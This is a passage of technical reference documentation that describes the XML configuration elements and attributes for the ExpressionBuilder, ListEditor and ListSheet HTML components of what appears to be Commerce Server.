Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, maxlen, minlen, multilingual, onbrowse, onchange, onerror, onrequire, onvalid, readonly, required, subtype | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.

Return to XML Structure

time

This optional element provides configuration and validation information about a particular field in an EditSheet HTC containing a time value.

Parent Element
fields
Required Child Elements
None.
Optional Child Elements
browsetooltip, error, name, prompt, tooltip
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, max, min, onbrowse, onchange, onerror, onrequire, onvalid, readonly, required | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.
Remarks

The format of fields associated with the time element is fixed. Hours and minutes are displayed in a 24-hour format, separated by the colon character (":"). Seconds are not supported.

Return to XML Structure

browsetooltip, charmask, error, format, label, name, option, prompt, select, tooltip

These ten elements are used to qualify or extend the behavior of one or more of the EditField elements of various data types, embedded within the EditSheet HTC. For more information, see Shared EditField Child Elements.

Return to XML Structure


ExpressionBuilder Configuration

The XML data-island identified by the XMLCfgID container attribute contains the configuration information used by the ExpressionBuilder HTML component (HTC).

For more information about the ways in which an XML document can be included on a page (creating an XML data-island), see XML Data-Islands.

The ExpressionBuilder HTC includes an embedded QueryBuilder HTC. Because of this, a number of the configuration elements passed to the ExpressionBuilder HTC are actually used by the embedded QueryBuilder HTC. Each of the elements discussed in this topic will be identified as being used to configure the ExpressionBuilder HTC, the embedded QueryBuilder HTC, or both.

The structure of this data-island is shown below, with links to more detailed explanations of each element. Element attributes are shown in italic and without the values that are normally associated with them. Required elements and attributes are shown in bold; optional elements and attributes are not in bold.

Note

  • The XML elements and attributes in the MetaXML data-island for the ExpressionBuilder HTC must be expressed in uppercase letters.

XML Structure

<EBCONFIG>
  <EXPR-ASP>relative URL of exprarch folder</EXPR-ASP>
  <PROFILE-LIST>
    <PROFILE>profile name</PROFILE>
    <PROFILE SRC />
  </PROFILE-LIST>
  <SITE-TERMS URL NOLOAD />
  <EEE-INTRINSICS />
  <DEBUG />
  <RENAME>no</RENAME>
  <HIDEBUTTONS />
  <TYPESOPS>path to xml file</TYPEOPS>
  <MESSAGE>alternate message</MESSAGE>
  <FILTER-CATEGORIES>
    <CATEGORY>category name</CATEGORY>
  </FILTER-CATEGORIES>
  <SAVE-CATEGORY>save category name</SAVE-CATEGORY>
  <EDIT-NESTED>always, warn, or never</EDIT-NESTED>
  <DATE-FORMAT>date format</DATE-FORMAT>
  <DATE-FIRSTDAY>first day of week</DATE-FIRSTDAY>
  <NUMBER-FORMAT>number format</NUMBER-FORMAT>
  <CURRENCY-FORMAT>currency format</CURRENCY-FORMAT>
  <HELPTOPIC>help topic URL</HELPTOPIC>
  <ADVANCED />
  <FILTER-PROPERTIES>XSL expression</FILTER-PROPERTIES>
</EBCONFIG>

EBCONFIG

This required element contains the configuration information for an instance of the ExpressionBuilder HTC.

Parent Element
None (document root)
Required Child Elements
EXPR-ASP, PROFILE-LIST
Optional Child Elements
ADVANCED, CURRENCY-FORMAT, DATE-FIRSTDAY, DATE-FORMAT, DEBUG, EDIT-NESTED, EEE-INTRINSICS, FILTER-CATEGORIES, FILTER-PROPERTIES, HELPTOPIC, HIDEBUTTONS, MESSAGE, NUMBER-FORMAT, RENAME, SAVE-CATEGORY, SITE-TERMS, TYPESOPS
Data
None.
Attributes
None.

Remarks

The EBCONFIG element is used by both the ExpressionBuilder HTC and the embedded QueryBuilder HTC.

Return to XML Structure

EXPR-ASP

This required element specifies the relative URL of the Exprarch folder, which is required for the proper functioning of the ExpressionBuilder HTC.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
The relative URL of the Exprarch folder.
Attributes
None.

Remarks

The EBCONFIG element is used by both the ExpressionBuilder HTC and the embedded QueryBuilder HTC.

Return to XML Structure

PROFILE-LIST

This required element contains the specifications of the various profiles used by this instance of the ExpressionBuilder HTC.

Parent Element
EBCONFIG
Required Child Elements
PROFILE (at least one is required)
Optional Child Elements
None.
Data
None.
Attributes
None.

Remarks

The PROFILE-LIST element is only used by the embedded QueryBuilder HTC.

Return to XML Structure

PROFILE

This required element specifies a profile in one of two ways. For Profile Definitions defined within Commerce Server, the name of the profile is specified as data associated with the element. For profiles not defined within Commerce Server, the URL of a valid XML document containing one or more profiles is specified as the value of the SRC attribute.

Parent Element
PROFILE-LIST
Required Child Elements
None.
Optional Child Elements
None.
Data
When the SRC attribute is not present, the name of the profile is specified as data within the PROFILE element. Otherwise, no data is present.

Attributes

Attribute | Description
SRC | Provides the URL of a valid XML document that contains one or more profiles not defined within Commerce Server. Optional. Legal values: A valid URL. Default value: None. When this attribute is specified, the PROFILE element should not contain any data.

REMARKS

When the name of a Profile Definition defined within Commerce Server is specified as data for this element, the name must be of the form "CatalogName.ProfileName". For example, "UserProfiles.UserObject".

When a profile not defined within Commerce Server is specified using the SRC attribute, it must conform to a defined XML structure for profile specification. For more information about this structure, see Specifying Profiles and Site Terms in the QueryBuilder HTC.

The PROFILE element is only used by the embedded QueryBuilder HTC.

Return to XML Structure

SITE-TERMS

This optional element specifies alternate information about whether the ExpressionBuilder HTC should load site-terms, and, if so, from where.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
NOLOAD | Suppresses the loading of site-terms for this instance of the ExpressionBuilder HTC (when set to "1"). Optional. Legal values: "1". Default value: None. If site-term loading is suppressed and expression bodies containing site-terms are passed to the ExpressionBuilder HTC, errors will result. This attribute should not be specified in combination with the URL attribute.
URL | Provides the URL of a valid XML document that contains alternate site-terms for use in this instance of the ExpressionBuilder HTC. Optional. Legal values: A valid URL. Default value: None. This attribute should not be specified in combination with the NOLOAD attribute.

REMARKS

When the SITE-TERMS element is present, either the NOLOAD attribute or the URL attribute (but not both) must be specified.

When the SITE-TERMS element is not present, site terms are loaded from the same folder specified by the required EXPR-ASP element.

When an alternate set of site terms is specified using the URL attribute, it must conform to the defined XML structure for site term specification. For more information about this structure, see Specifying Profiles and Site Terms in the QueryBuilder HTC.

The SITE-TERMS element is used only by the embedded QueryBuilder HTC.

Return to XML Structure

EEE-INTRINSICS

This optional element, when present, causes the ExpressionBuilder HTC to expose the intrinsic properties of the Expression Evaluator as a profile in its drop-down menus.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
None.
Attributes
None.

Remarks

The EEE-INTRINSICS element is only used by the embedded QueryBuilder HTC.

Return to XML Structure

DEBUG

This optional element, when present, causes the ExpressionBuilder HTC to display debugging information.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
None.
Attributes
None.

Remarks

The DEBUG element is used by both the ExpressionBuilder HTC and the embedded QueryBuilder HTC.

Return to XML Structure

RENAME

This optional element controls whether the ExpressionBuilder HTC will allow the renaming of expressions during editing.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
Typically, the string "no".
Attributes
None.

Remarks

If the string "no" appears as data associated with this element, renaming of expressions is not allowed. Given any other data string, or the absence of the RENAME element, renaming is allowed.

If the ExpressionBuilder HTC is activated in either the create or the createfrom mode, the RENAME element is ignored and renaming is always allowed.

The RENAME element is only used by the ExpressionBuilder HTC.

Return to XML Structure

HIDEBUTTONS

This optional element, when present, causes the ExpressionBuilder HTC to hide the Save, Cancel, and Help buttons.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
None.
Attributes
None.

Remarks

  • The HIDEBUTTONS element is only used by the ExpressionBuilder HTC.

Return to XML Structure

TYPESOPS

This optional element, when present, specifies a types and operators XML file for the ExpressionBuilder HTC to use.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
The relative path to the XML types and operators file.
Attributes
None.

Remarks

If this element is not specified, the default types and operators file is /Widgets/ExprbldrHTC/TypesOpsA.xml.

The TYPESOPS element is only used by the embedded QueryBuilder HTC.

Return to XML Structure

MESSAGE

This optional element, when present, specifies an alternate message to be displayed above the expression-selector area.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
The alternate message.
Attributes
None.

Remarks

When the MESSAGE element is not present, the default message is "Target according to the following conditions".

The MESSAGE element is only used by the embedded QueryBuilder HTC.

Return to XML Structure

FILTER-CATEGORIES

This optional element, when present, contains a list of expression categories. When the ExpressionBuilder HTC builds a list of expressions that can be used to create new expressions, and the FILTER-CATEGORIES element has been specified, only expressions belonging to a specified category are included in the expression list. If the FILTER-CATEGORIES element is not present, all expressions are included in the expression list.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
category (typically at least one is present)
Data
None.
Attributes
None.

Remarks

If there are no CATEGORY elements contained in the FILTER-CATEGORIES element, it is treated as though the latter element is not present.

The FILTER-CATEGORIES element is only used by the ExpressionBuilder HTC.

Return to XML Structure

CATEGORY

This optional element is used to specify a category of expressions to be included in the expression list presented by the ExpressionBuilder HTC. Multiple CATEGORY elements can be used to specify that multiple expression categories be presented.

Parent Element
FILTER-CATEGORY
Required Child Elements
None.
Optional Child Elements
None.
Data
The expression category name.
Attributes
None.

Remarks

In general, at least one CATEGORY element will be present when the FILTER-CATEGORIES element is present. When all categories are to be included, the FILTER-CATEGORIES element may or may not be present.

The CATEGORY element is only used by the ExpressionBuilder HTC.

Return to XML Structure

SAVE-CATEGORY

This optional element, when present, specifies the category in which this expression will be saved.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
The name of expression category with which the current expression will be associated when it is saved.
Attributes
None.

Remarks

When the SAVE-CATEGORY element is specified, the value specified as data for this element takes precedence over any previous category associated with the expression.

If the SAVE-CATEGORY element is not specified, the expression will not be associated with any category, regardless of any previous association.

The SAVE-CATEGORY element is only used by the ExpressionBuilder HTC.

Return to XML Structure

EDIT-NESTED

This optional element, when present, specifies whether editing of nested expressions is allowed or prevented, or allowed only if the user explicitly allows it in response to a warning dialog box.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
One of the three values "always", "warn", or "never". See Remarks for more details.
Attributes
None.

Remarks

Specifying "always" results in the nested expression being opened in edit mode. In general, this is not recommended.

Specifying "warn" results in a warning dialog box that offers the choice between opening the nested expression in edit mode or view mode.

Specifying "never" results in the nested expression being opened in view mode.

The default behavior, in the event that the EDIT-NESTED element is not present or contains an illegal data value, is to not allow the editing of nested expressions.

The EDIT-NESTED is only relevant when an expression is being created or edited.

The EDIT-NESTED element is only used by the embedded QueryBuilder HTC.

Return to XML Structure

DATE-FORMAT

This optional element, when present, specifies the display format for dates.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
The display format for dates.
Attributes
None.

Remarks

Valid formats for dates are "m/d/yyyy", "d/m/yyyy", and "yyyy/m/d". The default is "m/d/yyyy". The separator can be specified as any of the following three characters: forward slash ("/"), hyphen ("-"), and period ("."). The default separator is forward slash ("/"). Any number of the characters "m", "d", and "y" may be specified without affecting displayed dates; months and days will always be displayed without a leading zero, and years will always be displayed using 4 digits.

The DATE-FORMAT element is only used by the embedded QueryBuilder HTC.

Return to XML Structure

DATE-FIRSTDAY

This optional element, when present, specifies the day of the week that will be considered the first day of the week.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
A number in the range 0 (Sunday) to 6 (Saturday).
Attributes
None.

Remarks

Days of the week are represented by numbers between 0 and 6, as follows: 0 = Sunday; 1 = Monday; 2 = Tuesday, 3 = Wednesday; 4 = Thursday; 5 = Friday, and 6 = Saturday.

If this element is not present, the default first day of the week is Sunday.

The DATE-FIRSTDAY element is only used by the embedded QueryBuilder HTC.

Return to XML Structure

NUMBER-FORMAT

This optional element, when present, specifies the display format for numbers.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
The display format for numbers.
Attributes
None.

Remarks

Valid formats for numbers are specified using a string that indicates the manner in which negative values will be indicated (or not), relative to the placement of digits. The negative value indicator can be a leading or trailing hyphen ("-"), space-separated from the number or not, or it can be parentheses around the number.

If this element is not present, the default format is "–1.1".

Examples:

1.1 -1.1 1.1- (1.1)

The NUMBER-FORMAT element is only used by the embedded QueryBuilder HTC.

Return to XML Structure

CURRENCY-FORMAT

This optional element, when present, specifies the display format for currency.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
The display format for currency.
Attributes
None.

Remarks

Valid formats for currency are specified using a string that indicates the manner in which negative values will be indicated (or not), relative to the placement of digits. The negative value indicator can be a leading or trailing hyphen ("-"), space-separated from the number or not, or it can be parentheses around the number.

If this element is not present, the default format is "–1.1".

No currency symbol should be specified as part of this format.

Examples:

1.1 -1.1 1.1- (1.1)

The CURRENCY-FORMAT element is only used by the embedded QueryBuilder HTC.

Return to XML Structure

HELPTOPIC

This optional element, when present, specifies a help topic for this instance of the QueryBuilder HTC.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
The absolute URL of the corresponding help topic.
Attributes
None.

Remarks

If this element is present, the QueryBuilder HTC will display a help button, which when clicked will display the specified help topic.

Use the server-side utility routine sRelURL2AbsURL to generate the absolute URL required by this element. For example:

<HELPTOPIC><%=sRelURL2AbsURL("../docs/htm/yourhelpfile.htm")%></HELPTOPIC>

The HELPTOPIC element is only used by the embedded QueryBuilder HTC.

Return to XML Structure

ADVANCED

This optional element, when present, specifies that advanced editing will be allowed. Advanced editing allows the use of the OR operator in expressions.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
None.
Attributes
None.

Remarks

If this element is not present, advanced editing is not allowed.

The ADVANCED element is only used by the embedded QueryBuilder HTC.

Return to XML Structure

FILTER-PROPERTIES

This optional element, when present, specifies an Extensible Stylesheet Language (XSL) pattern fragment used for filtering properties from the profile. If this element is present, the provided XSL pattern will be applied to the properties in each profile that is loaded. Any properties that do not conform to the XSL pattern will not be shown when creating or editing expressions.

Parent Element
EBCONFIG
Required Child Elements
None.
Optional Child Elements
None.
Data
The XSL pattern fragment.
Attributes
None.

Remarks

The default XSL pattern fragment is: not(@isActive) || @isActive != '0'

The data values supplied for this element are actually XSL pattern fragments because they are surrounded by the strings "Property[" and "]" to achieve the actual XSL pattern. For example, the actual default XSL pattern, shown with the added strings in bold, is as follows:

Property[not(@isActive) || @isActive != '0']

Element attributes return "0" when they are not defined. Therefore, it is recommended the XSL pattern fragments specified as data for this element check for the presence of an attribute as well as for the attribute value being set to zero. The default XSL pattern is an example of both of these conditions being checked.

The FILTER-PROPERTIES element is only used by the embedded QueryBuilder HTC.

Return to XML Structure


ListEditor Configuration

The XML data-island identified by the MetaXML container attribute contains the configuration information used by the ListEditor HTML component (HTC).

For more information about the ways in which an XML document can be included on a page (creating an XML data-island), see XML Data-Islands.

The structure of this data-island is shown below, with links to more detailed explanations of each element. Element attributes are shown in italic and without the values that are normally associated with them. Required elements and attributes are shown in bold; optional elements and attributes are not bolded.

Note

  • The XML elements and attributes in the MetaXML data-island for the ListEditor HTC must be expressed in lowercase letters.

XML Structure

<listeditor>
  <global pagecontrols pagesize sort/>
  <columns>
    <column format hide id width>Column name</column>
  </columns>
  <operations>
    <newpage formid />
    <sort formid />
    <custom_op formid />
  </operations>
  <fields>
    <boolean browse browsereadonly default disabled hide
             id onbrowse onchange onerror readonly
      <browsetooltip>Tooltip for browse button</browsetooltip>
      <name>Name of field in left-hand column</name>
      <label>Checkbox label</label>
      <tooltip>Tooltip for the left-hand column label</tooltip>
    </boolean>
    <date browse browsereadonly default disabled firstday
          hide id max min onbrowse onchange onerror
          onrequire onvalid readonly required
      <browsetooltip>Tooltip for browse button</browsetooltip>
      <format>Date format to use</format>
      <error>Name of field in left-hand column</error>
      <name>Column heading name</name>
      <prompt>Empty control prompt</prompt>
      <tooltip>Tooltip for the left-hand column label</tooltip>
    </date>
    <numeric browse browsereadonly default disabled hide id
             max min onbrowse onchange onerror onrequire
             onvalid readonly required subtype
      <browsetooltip>Tooltip for browse button</browsetooltip>
      <format>Number format to use</format>
      <error>Validation error message</error>
      <name>Name of field in left-hand column</name>
      <prompt>Empty control prompt</prompt>
      <tooltip>Tooltip for the left-hand column label</tooltip>
    </numeric>
    <select browse browsereadonly default disabled hide
            htmloptions id multilingual onbrowse
            onchange onerror onvalid readonly
      <browsetooltip>Tooltip for browse button</browsetooltip>
      <name>Name of field in left-hand column</name>
      <prompt>Empty control prompt</prompt>
      <tooltip>Tooltip for the left-hand column label</tooltip>
      <select id>
        <option value>Item display name</option>
      </select>
      ...
      <select id>
        <option value>Item display name</option>
      </select>
    </select>
    <text browse browsereadonly default disabled hide id
          maxlen minlen multilingual onbrowse onchange onerror
          onrequire onvalid readonly required subtype
      <browsetooltip>Tooltip for browse button</browsetooltip>
      <charmask>Validation character mask</charmask>
      <error>Validation error message</error>
      <name>Name of field in left-hand column</name>
      <prompt>Empty control prompt</prompt>
      <tooltip>Tooltip for the left-hand column label</tooltip>
    </text>
    <time browse browsereadonly default disabled hide
          id max min onbrowse onchange onerror
          onrequire onvalid readonly required
      <browsetooltip>Tooltip for browse button</browsetooltip>
      <error>Validation error message</error>
      <name>Name of field in left-hand column</name>
      <prompt>Empty control prompt</prompt>
      <tooltip>Tooltip for the left-hand column label</tooltip>
    </time>
  </fields>
</listeditor>

listeditor

This required element contains the configuration information for a ListEditor HTC.

Parent Element
None (document root).
Required Child Elements
columns, fields
Optional Child Elements
None.
Data
None.
Attributes
None.

Return to XML Structure

global

This optional element specifies sorting and paging characteristics, if any, of a ListEditor HTC.

Parent Element
listeditor
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
pagecontrols | Specifies whether or not page controls are displayed. Optional. Legal values: "yes" and "no". If the value is "no", the display of page controls is suppressed. Default value: "yes".
pagesize | Specifies the number of records displayed per page. Optional. Legal values: Integers. Default value: 20. This value is used to calculate the number of pages available for display.
sort | Specifies whether clicking on a column heading sorts the records according to the values in that column. Optional. Legal values: "yes" and "no". If the value is "no", column sorting is disabled and the firing of the OnPage event is suppressed. Default value: "no".

Return to XML Structure

columns

This required element contains the descriptions of the various columns that the ListEditor HTC displays in the list area.

Parent Element
listeditor
Required Child Elements
column

(at least one is required, but normally two or more are present)

Optional Child Elements
None.
Data
None.
Attributes
None.

Return to XML Structure

column

This required element provides configuration information about a particular column in the list area of a ListEditor HTC.

Parent Element
columns
Required Child Elements
None.
Optional Child Elements
None.
Data
The name of the column as the user sees it.

Attributes

Attribute Description
format Specifies how the data in this column should be formatted.

Optional.

Legal values: "select", "password", and "float". See below for additional details.

Default value: None.

When the format attribute is set to "select", the embedded ListSheet HTC will look for a select element in the metadata corresponding to the id attribute and look up the display value to display for the value in the column.

When the format attribute is set to "password", the value will be masked just like in a password type HTML element.

When the format attribute is set to "float", the value will be normalized. For example, "2.00" displays as "2".
hide Specifies whether this column should be displayed.

Optional.

Legal values: "yes" and "no". If the value is "yes", the column is not displayed.

Default value: "no".
id Provides an identifier used to associate this column with the corresponding data in the DataXML container attribute.

Required.

The value of this attribute may or may not correspond to the value of the id attribute for one of the field elements.
width Specifies an initial width for the column corresponding to this element.

Optional.

Legal values: Integers between 0 and 100, representing column width as a percentage of control width. The specified widths of all columns are normalized if they do not add up to 100.

Default value: If a width is not specified, the width percentage is calculated as the total width divided by the number of displayed columns.

Remarks

At least one column element is required.

Return to XML Structure

operations

This optional element contains other elements that, when present, cause certain standard XMLHTTP operations to be performed when specific events are fired. This set of operations can also be extended with custom operations.

Parent Element
listeditor
Required Child Elements
None.
Optional Child Elements
page, sort, custom_op
Data
None.
Attributes
None.

Remarks

All child elements, including custom child elements, represent different operations that will be performed when different events occur.

If the operations element is present but contains no child elements, it will be ignored.

The operations corresponding to the child elements are known as XMLHTTP operations. For more information about XMLHTTP operations, see XMLHTTP Operations and Fetch Pages.

Return to XML Structure

newpage

This optional element corresponds to a standard XMLHTTP operation available with the ListEditor HTC. When this element is present, the entire list reloads with new data after the OnNewPage event fires. The new data is returned from a page on the server and must not contain anything except the data in the standard XML data format.

Parent Element
operations
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
formid | Specifies the identifier of the form that will be posted when the OnNewPage event fires. Required. Legal values: Valid id attribute of a form element. Default value: None.

Remarks

For more information about XMLHTTP operations, see XMLHTTP Operations and Fetch Pages.

The identifier of the corresponding form is set as the formid attribute. The action attribute of the form must be set to the post page (the page that returns the new page of data).

The following table shows the arguments that are sent when the form is posted.

Argument | Description
op | The value of this attribute is set to "newpage". This argument, combined with the post page specified as an attribute of the form, allows specific server-side code to be run in response to the OnNewPage event. The op argument allows the same post page to process more than one operation, branching to perform different operations based on the value of this argument.
prevpage | The value of this attribute is set to the number of the page currently being displayed, soon to be the previous page displayed.
page | The value of this attribute is set to the number of the new page to be displayed.
column | The value of this attribute is set to the ID of the sort column for the new page of data. This ID is the name of the relevant child element of the record element.
direction | The value of this attribute is set to either "asc" or "desc", depending on whether the new page of data should be sorted in the ascending direction or the descending direction, respectively.

For more information about how the posting of forms is used to perform operations on the server, including saving changes to data, see Saving Changes to Data.

Return to XML Structure

sort

This optional element corresponds to a standard XMLHTTP operation available with the ListEditor HTC. When this element is present, the entire list reloads with new data after the OnHeaderClick event fires. The new data is returned from a page on the server and must not contain anything except the data in the standard XML data format.

Parent Element
operations
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
formid | Specifies the identifier of the form that will be posted when the OnHeaderClick event fires. Required. Legal values: Valid id attribute of a form element. Default value: None.

Remarks

For more information about XMLHTTP operations, see XMLHTTP Operations and Fetch Pages.

The identifier of the corresponding form is set as the formid attribute. The action attribute of the form should be set to the post page (the page that returns the first page of data, re-sorted as specified).

The following table shows the arguments that are sent when the form is posted.

Argument | Description
op | The value of this attribute is set to "sort". This argument, combined with the post page specified as an attribute of the form, allows specific server-side code to be run in response to the OnHeaderClick event. The op argument allows the same post page to process more than one operation, branching to perform different operations based on the value of this argument.
page | The value of this attribute is always set to 1. This operation does not permit re-sorting the list without returning to the beginning of the list, where the "top" of the sort will be displayed.
column | The value of this attribute is set to the ID of the sort column for the new page of data. This ID is the name of the relevant child element of the record element.
direction | The value of this attribute is set to either "asc" or "desc", depending on whether the new page of data should be sorted in the ascending direction or the descending direction, respectively.

For more information about how the posting of forms is used to perform operations on the server, including saving changes to data, see Saving Changes to Data.

Return to XML Structure

custom_op

Custom operation elements, which are optional, correspond to custom XMLHTTP operations defined for a ListEditor HTC. When a custom operation element is present, the entire list reloads when the reload method is called with its sOp parameter set to the custom name for this element.

Parent Element
operations
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
formid | Specifies the identifier of the form that will be posted when the reload method is called with its sOp parameter set to the custom name for this element. Required. Legal values: Valid id attribute of a form element. Default value: None.

Remarks

For example, if the element double_sort is included as a custom operation, and the reload method is called with its sOp parameter set to "double_sort", the form with the specified identifier will be posted, as in the following code:

bRetVal = elListEditor.reload("double_sort")

The reload method returns False if no XML is returned or if any error elements are present, and True otherwise.

For more information about XMLHTTP operations, see XMLHTTP Operations and Fetch Pages.

The identifier of the corresponding form is set as the formid attribute. The action attribute of the form should be set to the post page, the page that returns the new data.

The following table shows the arguments that are sent when the form is posted.

Argument | Description
op | The value of this attribute is set to "custom_op". This argument, combined with the post page specified as an attribute of the form, allows specific server-side code to be run in response to a particular invocation of the reload method. The op argument allows the same post page to process more than one operation, branching to perform different operations based on the value of this argument.

In some situations it might be appropriate to include other parameters in the posted form as part of fetching the correct XML response. For example, suppose a response page is designed to be shared by several different pages, returning different results based on which page calls it. In this case, the form might have a hidden element containing the page name so the response page will know which page called it.

For more information about how the posting of forms is used to perform operations on the server, including saving changes to data, see Saving Changes to Data.

Return to XML Structure

fields

This required element contains the elements that specify the various fields to be displayed in the edit area of the ListEditor HTC.

Parent Element
listeditor
Required Child Elements
None.
Optional Child Elements
boolean, date, numeric, select, text, time
Data
None.
Attributes
None.

Remarks

It must contain at least one such element, though in general it will contain several such elements, corresponding to a ListEditor HTC with several fields in the edit area.

Elements defined within the fields element are displayed as rows in the edit area of the ListEditor, in the order in which they appear within the fields element. For example, the first element defines the top row and the last element defines the bottom row.

The child elements of the fields element are essentially the same as the elements that can be defined as child elements of the editfield element in the configuration data for the EditField HTC. The primary difference is that child elements of the ListEditor HTC can include additional child elements, namely the name and tooltip elements. For information about the attributes that are shared, see Shared EditField Attributes.

Return to XML Structure

boolean

This optional element provides configuration and validation information about a particular field in a ListEditor HTC containing a Boolean value.

Parent Element
fields
Required Child Elements
None.
Optional Child Elements
browsetooltip, label, name, tooltip
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, onbrowse, onchange, onerror, readonly | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.

Return to XML Structure

date

This optional element provides configuration and validation information about a particular field in a ListEditor HTC containing a date value.

Parent Element
fields
Required Child Elements
None.
Optional Child Elements
browsetooltip, error, format, name, prompt, tooltip
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, max, min, onbrowse, onchange, onerror, onrequire, onvalid, readonly, required | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.

Return to XML Structure

numeric

This optional element provides configuration and validation information about a particular field in a ListEditor HTC containing a numeric value.

Parent Element
fields
Required Child Elements
None.
Optional Child Elements
browsetooltip, error, format, name, prompt, tooltip
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, max, min, onbrowse, onchange, onerror, onrequire, onvalid, readonly, required, subtype | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.

Return to XML Structure

select

This optional element provides configuration and validation information about a particular field in a ListEditor HTC containing a fixed set of choices.

Parent Element
fields
Required Child Elements
select (at least one, but generally two or more)
Optional Child Elements
browsetooltip, name, prompt, tooltip
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, htmloptions, multilingual, onbrowse, onchange, onerror, onvalid, readonly | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.

Return to XML Structure

text

This optional element provides configuration and validation information about a particular field in a ListEditor HTC containing a text value.

Parent Element
fields
Required Child Elements
None.
Optional Child Elements
browsetooltip, charmask, error, name, prompt, tooltip
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, maxlen, minlen, multilingual, onbrowse, onchange, onerror, onrequire, onvalid, readonly, required, subtype | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.

Return to XML Structure

time

This optional element provides configuration and validation information about a particular field in a ListEditor HTC containing a time value.

Parent Element
fields
Required Child Elements
None.
Optional Child Elements
browsetooltip, error, name, prompt, tooltip
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, max, min, onbrowse, onchange, onerror, onrequire, onvalid, readonly, required | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.
Remarks

The format of fields associated with the time element is fixed. Hours and minutes are displayed in a 24-hour format, separated by the colon character (":"). Seconds are not supported.

Return to XML Structure

browsetooltip, charmask, error, format, label, name, option, prompt, select, tooltip

These ten elements are used to qualify or extend the behavior of one or more of the EditField elements of various data types, embedded within the ListEditor HTC. For more information, see Shared EditField Child Elements.

Return to XML Structure


ListSheet Configuration

The XML data-island identified by the MetaXML container attribute contains the configuration information used by the ListSheet HTML component (HTC).

For more information about how an XML document can be included on a page (creating an XML data-island), see XML Data-Islands.

The structure of this data-island is shown below, with links to more detailed explanations of each element. Element attributes are shown in italic and without the values that are normally associated with them. Required elements and attributes are shown in bold; optional elements and attributes are not in bold.

Note

  • The XML elements and attributes in the MetaXML data-island for the ListSheet HTC must be expressed in lowercase letters.

XML Structure

<listsheet>
  <global contextmenuid contextmenuwidth curpage headers
          pagecontrols pagesize recordcount scroll
          selectall selection selectionbuttons sort/>
  <columns>
    <column format hide id id2
            id3 sortdir width>Column heading name</column>
    <subobject datawidth labelwidth type>
      <column format hide id width>Column heading name</column>
    </subobject>
  </columns>
  <operations>
    <page formid />
    <sort formid />
    <sublist formid />
    <custom_op formid />
  </operations>
</listsheet>

listsheet

This required element contains the configuration information for a ListSheet HTML component (HTC).

Parent Element
None (document root).
Required Child Elements
columns, global
Optional Child Elements
operations
Data
None.
Attributes
None.

Return to XML Structure

global

This required element specifies global characteristics of a ListSheet HTC, allowing ListSheet HTCs to exhibit different behavior in different situations.

Parent Element
listsheet
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
contextmenuid | Specifies that the ListSheet HTC should provide a right-click task context menu, and that a double-click should run the default task (as specified by the global variable g_sContextDefault) for the selected item in the list. Optional. Legal values: Most modules will use the menu with the ID "bdcontextmenu", ilt by inserting the taskbar. However, custom context menus can be built and used instead. Setting a value here enables the onContentClick event. Default value: None.
contextmenuwidth | Specifies the width of the right-click task context menu. Optional. Legal values: A legal CSS length value in pixels. A suffix of "px" is not required. Default value: "220px".
curpage | Specifies the current page number. Optional. Legal values: Integers. Default value: 1.
headers | Specifies whether column headings are displayed. Optional. Legal values: "yes" and "no". If the value is "no", the display of column headings is suppressed. Default value: "yes".
pagecontrols | Specifies whether or not page controls are displayed. Optional. Legal values: "yes" and "no". If the value is "no", the display of page controls is suppressed. Default value: "yes".
pagesize | Specifies the number of records displayed per page. Optional. Legal values: Integers. Default value: 20. This value is used to calculate the number of pages available for display.
recordcount | Specifies the total number of records in all pages. Optional. Legal values: Integers. Default value: None. This value is used to calculate the number of pages available for display. If it is set to -1 and page controls are displayed, then no last page display or validation is performed.
scroll | Controls whether or not scroll bars are available to display the entire list. Optional. Legal values: "yes" and "no". If the value is "no", the display of scroll bars is suppressed, resulting in a ListSheet HTC that is the height of the entire list (scrolling in the browser might be required in this case). Default value: "yes".
